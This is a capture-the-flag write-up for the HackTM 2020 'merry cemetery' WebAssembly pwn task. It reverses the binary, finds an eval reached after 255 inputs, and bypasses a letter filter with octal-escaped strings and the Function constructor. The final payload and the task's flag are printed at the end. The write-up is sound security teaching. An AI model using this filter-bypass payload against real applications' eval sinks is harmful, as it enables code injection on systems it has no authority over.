# merry cemetery - HackTM 2020 Quals## Introduction
merry cemetery is a pwn task.
It is a web-assembly task that can be run with `node merry_cemetery.js`.
The goal of this task is to obtain the content of a JavaScript variable, `aaaa`.```var aaaa = "HackTM{XXXXXXXXXXXXXXXXXXXXX-real-flag-on-remote-server}";```
## Nobody likes web assembly
In order to understand what the web assembly file does, a tool has been used toconvert `wasm` to rust. This tool was found from a writeup of 36C3's webassembly reverse task.
The main function is exported, which makes it possible to go to the main loopquite easily.
The main loop first reads the user's input by calling `func_60`:```rustvar_17 = func_60(); // readvar_18 = (var_17 << 24 >>s 24) - 36;```
If the user's input is a `+`, it reads a joke and increments the local variableat offset 24:```rustif var_18 == 7 { // +    var_2 = load_8s<i32>(var_14 + 24);    var_19 = load_8s<i32>(var_14 + 24);    var_3 = func_62(var_19);
    if var_3 == 1 {        var_20 = load_8s<i32>(var_14 + 24);        var_7 = var_20 + 1 << 24 >>s 24;        store_8<i32>(var_14 + 24, var_7) // var24++
        var_8 = load_8s<i32>(var_14 + 24);        var_9 = load_8s<i32>(var_14 + 24) & 255;        if var_9 == 255 {            store<i32>(var_14 + 24, -1)        }    }}```
If the user's input is `$`, it will first check if the local variable at offset24 is 255. (i.e. if 255 jokes have been submitted)
If it is, it will take a different path than the initial error:```rustif var_18 == 0 { // $    var_23 = load_8s<i32>(var_14 + 24) & 255;    if var_23 == 255 { // var24 == 255 ?        var_24 = var_14 + 25;        func_165(2, var_24, 1);        var_25 = load_8s<i32>(var_14 + 25) & 255;        func_65(var_25);        env._exit(0);    }    else { // error        var_26 = func_57(23724, 15016);        var_27 = var_26;        var_28 = 331;        indirect_call((var_28 & 511) + 0)(var_27);        env._exit(0);    }    return 0;}```
The program does behave differently after adding 255 jokes. The reward is to adda longer joke to one's epitaph.
The joke is added by `func_65`:```rustvar_3 = func_57(23724, 14848); // do to your kindness...var_4 = 331;indirect_call((var_4 & 511) + 0)(var_3);
var_5 = func_57(23724, 14970); // ++ Insert jokevar_6 = 331;indirect_call((var_6 & 511) + 0)(var_5);
var_7 = func_166(0, 18144, arg_0); // probably a readvar_8 = func_64(var_7) != 0; // check jokeif var_8 {    env._emscripten_run_script(18176);    global_10 = var_1;    return;}
var_9 = func_57(23724, 14988); // Sorry quality jokes onlyvar_10 = 331;indirect_call((var_10 & 511) + 0)(var_9);global_10 = var_1;return;```
This function reads a joke, and calls `func_64` on it. If the function returns0, the program will not consider the joke to be a "quality joke" and will exit.
```rustvar_13 = 0;while true {    if var_13 (18144 + var_13); // char[i]    var_16 = var_15 << 24 >>s 24 >=s 98;    if var_16 {        var_1 = var_13;        var_2 = 18144 + var_13;        var_3 = load_8s<i32>(18144 + var_13);        var_17 = load_8s<i32>(18144 + var_13);        var_4 = var_17 << 24 >>s 24;        var_5 = var_17 << 24 >>s 24 <=s 122; // 'b' <= char[i] <= 'z'        if var_5 {            var_14 = 7; // bad            break;        }    }
    var_18 = load_8s<i32>(18144 + var_13); // char[i]    var_19 = var_18 << 24 >>s 24 >=s 65;    if var_19 {        var_6 = var_13;        var_7 = 18144 + var_13;        var_8 = load_8s<i32>(18144 + var_13);        var_20 = load_8s<i32>(18144 + var_13);        var_9 = var_20 << 24 >>s 24;        var_10 = var_20 << 24 >>s 24 <=s 90; // 'A' <= char[i] <= 'Z'        if var_10 {            var_14 = 7; // bad            break;        }    }    var_13 += 1;}
if var_14 == 7 {    global_10 = var_11;    return 0;}if var_14 == 9 {    global_10 = var_11;    return 1;}return 0;```
This function checks each character of the input. If any of them is in the range`[b-zA-Z]`, it will not be considered a quality joke.
This can be confirmed by sending a joke that only contains `a`. What a qualityjoke:```exception thrown: ReferenceError: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa is not defined,ReferenceError: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa is not defined    at eval (eval at _emscripten_run_script (/home/user/ctf/2020/2020-02-01-HackTM/pwn/merry cemetery/merry_cemetery.js:4941:7), <anonymous>:1:1)    at _emscripten_run_script (/home/user/ctf/2020/2020-02-01-HackTM/pwn/merry cemetery/merry_cemetery.js:4941:7)    at _gravestone (/home/user/ctf/2020/2020-02-01-HackTM/pwn/merry cemetery/merry_cemetery.js:6420:3)    at _main (/home/user/ctf/2020/2020-02-01-HackTM/pwn/merry cemetery/merry_cemetery.js:6506:3)    at Object.asm._main (/home/user/ctf/2020/2020-02-01-HackTM/pwn/merry cemetery/merry_cemetery.js:57690:21)    at Object.callMain (/home/user/ctf/2020/2020-02-01-HackTM/pwn/merry cemetery/merry_cemetery.js:58006:30)    at doRun (/home/user/ctf/2020/2020-02-01-HackTM/pwn/merry cemetery/merry_cemetery.js:58064:60)    at run (/home/user/ctf/2020/2020-02-01-HackTM/pwn/merry cemetery/merry_cemetery.js:58078:5)    at Object.<anonymous> (/home/user/ctf/2020/2020-02-01-HackTM/pwn/merry cemetery/merry_cemetery.js:58201:1)    at Module._compile (internal/modules/cjs/loader.js:1151:30)```
## character-less eval
The primitive shown above will evaluate JavaScript code that contains nocharacter, excepts `a`.
The `jsfuck` obfuscator cannot be used, because the payload is limited in size.
It is possible to define strings in JavaScript using the octal notation. (`\141`for `a`). Variables that start with `_` and `$` can be used to storeinformation.
The idea is to use `Function` to create a new lambda function and call itimmediately:```js> Function("console.log(123)")()123```
`Function` is any function's constructor. It can be accessed with:```js> ''.constructor.constructor[Function: Function]> ''.constructor.constructor("console.log(123)")()123```
The following payload (without comments) was used to throw an exception thatcontains the flag. It contains the tricks presented prior:```js_=aaaa; // broaden scope of aaaa$='\143\157\156\163\164\162\165\143\164\157\162'; // "constructor"''[$][$]('\164\150\162\157\167 _')() // "throw _"```
``` Due to your kindness and hard work, the locals would like to reward you by allowing you to decorate your own gravestone. ++ Insert Joke:
_=aaaa;$='\143\157\156\163\164\162\165\143\164\157\162';''[$][$]('\164\150\162\157\167 _')()
exception thrown: HackTM{m4y_y0ur_d4ys_b3_m3rry_4nd_br1ght}```
**Flag**: `HackTM{m4y_y0ur_d4ys_b3_m3rry_4nd_br1ght}`